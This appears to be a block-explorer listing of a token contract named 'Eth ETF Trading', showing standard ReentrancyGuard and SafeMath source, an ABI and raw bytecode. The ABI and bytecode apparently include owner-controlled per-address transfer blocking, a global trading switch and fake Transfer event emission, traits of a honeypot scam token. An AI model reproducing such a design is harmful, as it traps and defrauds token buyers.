    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

File 9 of 9: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"initialLPAddress","type":"address"},{"internalType":"address","name":"distributor_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_openedAtBlockopenedAtBlockliquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"alreadyClaimedByAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeStartBuffer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distilleryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ended","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"maxWalletSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opener","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"contract IPondCoinSpawner","name":"spawner","type":"address"}],"name":"useSpawner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61012060405233600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000056620002fd60201b60201c565b600a620000649190620006e6565b633b9aca0062000075919062000737565b6080908152506200008b620002fd60201b60201c565b600a620000999190620006e6565b633b9aca00620000aa919062000737565b60a090815250348015620000bd57600080fd5b50604051620036a4380380620036a48339818101604052810190620000e39190620007ec565b6040518060400160405280600f81526020017f457468204554462054726164696e6700000000000000000000000000000000008152506040518060400160405280600781526020017f4574682d455446000000000000000000000000000000000000000000000000008152508280806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001b1620001a56200030660201b60201c565b6200030e60201b60201c565b508260089081620001c3919062000aa3565b508160099081620001d5919062000aa3565b50600160046000620001ec6200030660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660006101000a81548160ff02191690831515021790555050505033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002b082608051620003d460201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff166101008173ffffffffffffffffffffffffffffffffffffffff16815250504260c081815250504360e08181525050505062000c76565b60006009905090565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000446576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200043d9062000beb565b60405180910390fd5b6200045a600083836200054260201b60201c565b80600760008282546200046e919062000c0d565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000522919062000c59565b60405180910390a36200053e600083836200054760201b60201c565b5050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005da57808604811115620005b257620005b16200054c565b5b6001851615620005c25780820291505b8081029050620005d2856200057b565b945062000592565b94509492505050565b600082620005f55760019050620006c8565b81620006055760009050620006c8565b81600181146200061e576002811462000629576200065f565b6001915050620006c8565b60ff8411156200063e576200063d6200054c565b5b8360020a9150848211156200065857620006576200054c565b5b50620006c8565b5060208310610133831016604e8410600b8410161715620006995782820a9050838111156200069357620006926200054c565b5b620006c8565b620006a8848484600162000588565b92509050818404811115620006c257620006c16200054c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006f382620006cf565b91506200070083620006d9565b92506200072f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005e3565b905092915050565b60006200074482620006cf565b91506200075183620006cf565b92508282026200076181620006cf565b915082820484148315176200077b576200077a6200054c565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007b48262000787565b9050919050565b620007c681620007a7565b8114620007d257600080fd5b50565b600081519050620007e681620007bb565b92915050565b6000806040838503121562000806576200080562000782565b5b60006200081685828601620007d5565b92505060206200082985828601620007d5565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008b557607f821691505b602082108103620008cb57620008ca6200086d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008f6565b620009418683620008f6565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009846200097e6200097884620006cf565b62000959565b620006cf565b9050919050565b6000819050919050565b620009a08362000963565b620009b8620009af826200098b565b84845462000903565b825550505050565b600090565b620009cf620009c0565b620009dc81848462000995565b505050565b5b8181101562000a0457620009f8600082620009c5565b600181019050620009e2565b5050565b601f82111562000a535762000a1d81620008d1565b62000a2884620008e6565b8101602085101562000a38578190505b62000a5062000a4785620008e6565b830182620009e1565b50505b505050565b600082821c905092915050565b600062000a786000198460080262000a58565b1980831691505092915050565b600062000a93838362000a65565b9150826002028217905092915050565b62000aae8262000833565b67ffffffffffffffff81111562000aca5762000ac96200083e565b5b62000ad682546200089c565b62000ae382828562000a08565b600060209050601f83116001811462000b1b576000841562000b06578287015190505b62000b12858262000a85565b86555062000b82565b601f19841662000b2b86620008d1565b60005b8281101562000b555784890151825560018201915060208501945060208101905062000b2e565b8683101562000b75578489015162000b71601f89168262000a65565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000bd3601f8362000b8a565b915062000be08262000b9b565b602082019050919050565b6000602082019050818103600083015262000c068162000bc4565b9050919050565b600062000c1a82620006cf565b915062000c2783620006cf565b925082820190508082111562000c425762000c416200054c565b5b92915050565b62000c5381620006cf565b82525050565b600060208201905062000c70600083018462000c48565b92915050565b60805160a05160c05160e051610100516129e262000cc26000396000610d4b0152600081816107850152610e090152600061091f01526000610e7901526000610a9601526129e26000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80636cd20f5e1161011a5780639c9b4cdb116100ad578063c2b7bbb61161007c578063c2b7bbb6146105f9578063d5abeb0114610615578063dd62ed3e14610633578063ebad8f1614610663578063f2fde38b1461066d57610206565b80639c9b4cdb1461055d578063a457c2d71461057b578063a9059cbb146105ab578063b7f4e899146105db57610206565b80637c70f3bf116100e95780637c70f3bf146104d35780638d981e36146105035780638da5cb5b1461052157806395d89b411461053f57610206565b80636cd20f5e1461044d57806370a082311461047d578063715018a6146104ad57806373fa7ddb146104b757610206565b806326ededb81161019d57806342a5880c1161016c57806342a5880c146103a7578063486d910f146103c557806349bd5a5e146103e15780634ed9428e146103ff5780636854870e1461041d57610206565b806326ededb81461031f5780632d3e69ea1461033b578063313ce56714610359578063395093511461037757610206565b806318160ddd116101d957806318160ddd1461029557806319e99550146102b357806321f83c43146102d157806323b872dd146102ef57610206565b806306fdde031461020b5780630754617214610229578063095ea7b31461024757806312fa6feb14610277575b600080fd5b610213610689565b6040516102209190611c81565b60405180910390f35b61023161071b565b60405161023e9190611ce4565b60405180910390f35b610261600480360381019061025c9190611d6b565b610741565b60405161026e9190611dc6565b60405180910390f35b61027f610764565b60405161028c9190611dc6565b60405180910390f35b61029d610777565b6040516102aa9190611df0565b60405180910390f35b6102bb610781565b6040516102c89190611df0565b60405180910390f35b6102d96107b4565b6040516102e69190611df0565b60405180910390f35b61030960048036038101906103049190611e0b565b6107ba565b6040516103169190611dc6565b60405180910390f35b61033960048036038101906103349190611ec3565b6107e9565b005b6103436108c6565b6040516103509190611dc6565b60405180910390f35b6103616108dd565b60405161036e9190611f3f565b60405180910390f35b610391600480360381019061038c9190611d6b565b6108e6565b60405161039e9190611dc6565b60405180910390f35b6103af61091d565b6040516103bc9190611df0565b60405180910390f35b6103df60048036038101906103da9190611f98565b610941565b005b6103e9610a6e565b6040516103f69190611ce4565b60405180910390f35b610407610a94565b6040516104149190611df0565b60405180910390f35b61043760048036038101906104329190611fd8565b610ab8565b6040516104449190611dc6565b60405180910390f35b61046760048036038101906104629190611fd8565b610ad8565b6040516104749190611dc6565b60405180910390f35b61049760048036038101906104929190611fd8565b610b2e565b6040516104a49190611df0565b60405180910390f35b6104b5610b77565b005b6104d160048036038101906104cc9190612031565b610b8b565b005b6104ed60048036038101906104e891906120cd565b610c38565b6040516104fa9190611dc6565b60405180910390f35b61050b610c67565b6040516105189190611ce4565b60405180910390f35b610529610c8d565b6040516105369190611ce4565b60405180910390f35b610547610cb7565b6040516105549190611c81565b60405180910390f35b610565610d49565b6040516105729190611ce4565b60405180910390f35b61059560048036038101906105909190611d6b565b610d6d565b6040516105a29190611dc6565b60405180910390f35b6105c560048036038101906105c09190611d6b565b610de4565b6040516105d29190611dc6565b60405180910390f35b6105e3610e07565b6040516105f09190611df0565b60405180910390f35b610613600480360381019061060e9190611fd8565b610e2b565b005b61061d610e77565b60405161062a9190611df0565b60405180910390f35b61064d6004803603810190610648919061210d565b610e9b565b60405161065a9190611df0565b60405180910390f35b61066b610f22565b005b61068760048036038101906106829190611fd8565b610f83565b005b6060600880546106989061217c565b80601f01602080910402602001604051908101604052809291908181526020018280546106c49061217c565b80156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061074c611006565b905061075981858561100e565b600191505092915050565b600e60009054906101000a900460ff1681565b6000600754905090565b60007f0000000000000000000000000000000000000000000000000000000000000000436107af91906121dc565b905090565b61070881565b6000806107c5611006565b90506107d28582856111d7565b6107dd858585611263565b60019150509392505050565b6107f1611927565b60005b838390508110156108c05783838281811061081257610811612210565b5b90506020020160208101906108279190611fd8565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a59190611df0565b60405180910390a380806108b89061223f565b9150506107f4565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b6000806108f1611006565b90506109128185856109038589610e9b565b61090d9190612287565b61100e565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61096e33600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846107ba565b6109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490612307565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b81526004016109e8929190612327565b6020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190612365565b610a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a61906123de565b60405180910390fd5b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b7f611927565b610b8960006119a5565b565b610b93611927565b60005b83839050811015610c32578160036000868685818110610bb957610bb8612210565b5b9050602002016020810190610bce9190611fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c2a9061223f565b915050610b96565b50505050565b600d6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610cc69061217c565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf29061217c565b8015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080610d78611006565b90506000610d868286610e9b565b905083811015610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc290612470565b60405180910390fd5b610dd8828686840361100e565b60019250505092915050565b600080610def611006565b9050610dfc818585611263565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610e33611927565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f2a611927565b60011515600660009054906101000a900460ff16151503610f65576000600660006101000a81548160ff021916908315150217905550610f81565b6001600660006101000a81548160ff0219169083151502179055505b565b610f8b611927565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612502565b60405180910390fd5b611003816119a5565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361107d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107490612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390612626565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ca9190611df0565b60405180910390a3505050565b60006111e38484610e9b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461125d578181101561124f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124690612692565b60405180910390fd5b61125c848484840361100e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612724565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611341576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611338906127b6565b60405180910390fd5b60008111611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612848565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561141a5760008114611419576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114109061288e565b60405180910390fd5b5b60011515600660009054906101000a900460ff161515148061146e575061143f610c8d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114ab575061147c610c8d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118c057600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115535750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561171157611563838383611a6b565b6115cf8160405180606001604052806026815260200161298760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a709092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117049190611df0565b60405180910390a36118bb565b61177d8160405180606001604052806026815260200161298760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a709092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118b29190611df0565b60405180910390a35b611917565b60011515600660009054906101000a900460ff16151514611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061288e565b60405180910390fd5b5b611922838383611b32565b505050565b61192f611006565b73ffffffffffffffffffffffffffffffffffffffff1661194d611b37565b73ffffffffffffffffffffffffffffffffffffffff16146119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a906128fa565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000838311158290611ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaf9190611c81565b60405180910390fd5b5060008385611ac791906121dc565b9050809150509392505050565b6000808284611ae39190612287565b905083811015611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90612966565b60405180910390fd5b8091505092915050565b505050565b600080611b42611b4b565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bca57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611bec565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c2b578082015181840152602081019050611c10565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c5382611bf1565b611c5d8185611bfc565b9350611c6d818560208601611c0d565b611c7681611c37565b840191505092915050565b600060208201905